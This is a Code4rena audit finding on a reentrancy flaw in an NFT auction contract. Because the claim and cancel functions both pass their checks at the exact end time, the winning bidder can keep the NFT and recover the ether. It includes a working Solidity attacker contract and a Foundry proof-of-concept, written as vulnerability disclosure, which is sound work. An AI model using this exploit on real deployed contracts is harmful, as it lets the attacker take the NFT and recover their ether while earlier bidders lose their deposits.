Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 213/243
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
Regardless of the amount of ether the previous bidder deposited. A well-timed transaction or one done by a malicious validator at minterContract.getAuctionEndTime(tokenId)
will be granted permission to invoke both claimAuction(tokenId)
as well as cancelAllBids()
via callback. Subsequently, the attacker will end up with the listed nft as well as his ether back.
Starting of with the contract which will perform the last bid at minterContract.getAuctionEndTime(tokenId)
.
This contract will make use of the IERC721Receiver
interface, to trigger auctionDemo.cancelAllBids(tokenId)
exploiting the auctionDemo contract as the caller, when triggering the safetransfer()
to the highest bidder.
// SPDX-License-Identifier: Built By Mango pragma solidity ^0.8.19; import {IERC721Receiver} from "../../src/IERC721Receiver.sol"; import {auctionDemo} from "../../src/AuctionDemo.sol"; contract Reentrant is IERC721Receiver { auctionDemo _auctionDemo; constructor( address auctionContract ) { _auctionDemo = auctionDemo(auctionContract); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns(bytes4) { // Reentrancy: _auctionDemo.cancelAllBids(30000000000); return this.onERC721Received.selector; } fallback() external payable { } }
Finally, the full POC shows 2 users placing bids, while the last one outbids them by 1 wei & calling claimAuction(tokenId)
in the same transaction, to guarantee the nft & the ether payback.
function testVulnerableAuction() public { // Sets up bid for token id: 30000000000 _mintAndAuction(); vm.prank(fixAddress("RegularUser1")); vm.deal(fixAddress("RegularUser1"), 2e18); _auctionDemo.participateToAuction{value: 2e18 -1}(30000000000); vm.prank(fixAddress("RegularUser2")); vm.deal(fixAddress("RegularUser2"), 2e18); _auctionDemo.participateToAuction{value: 2e18}(30000000000); uint256 auctionEndTime = minterContract.getAuctionEndTime(30000000000); vm.prank(address(reentrant)); vm.deal(address(reentrant), 2e18 +1); vm.warp(auctionEndTime); _auctionDemo.participateToAuction{value: 2e18 + 1}(30000000000); _auctionDemo.claimAuction(30000000000); assertEq(address(reentrant).balance, 2e18+1); // 2e18 + 1 wei is returned! }
Needless to say, previous bidders, would be left without any funds to recover, due to the highest amount going to the admin, who listed the nft.
Foundry
The specific lines that allow for this vulnerability are both require statements in both claimAuction
and cancelAllBids
.
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
These lines allow for invoking both functions at exactly minter.getAuctionEndTime(_tokenid).
Reentrancy
#0 - c4-pre-sort
2023-11-20T13:18:21Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:42:41Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T17:32:50Z
alex-ppg marked the issue as partial-50
#3 - c4-judge
2023-12-08T17:33:46Z
alex-ppg marked the issue as full credit
#4 - c4-judge
2023-12-08T17:39:25Z
alex-ppg marked the issue as satisfactory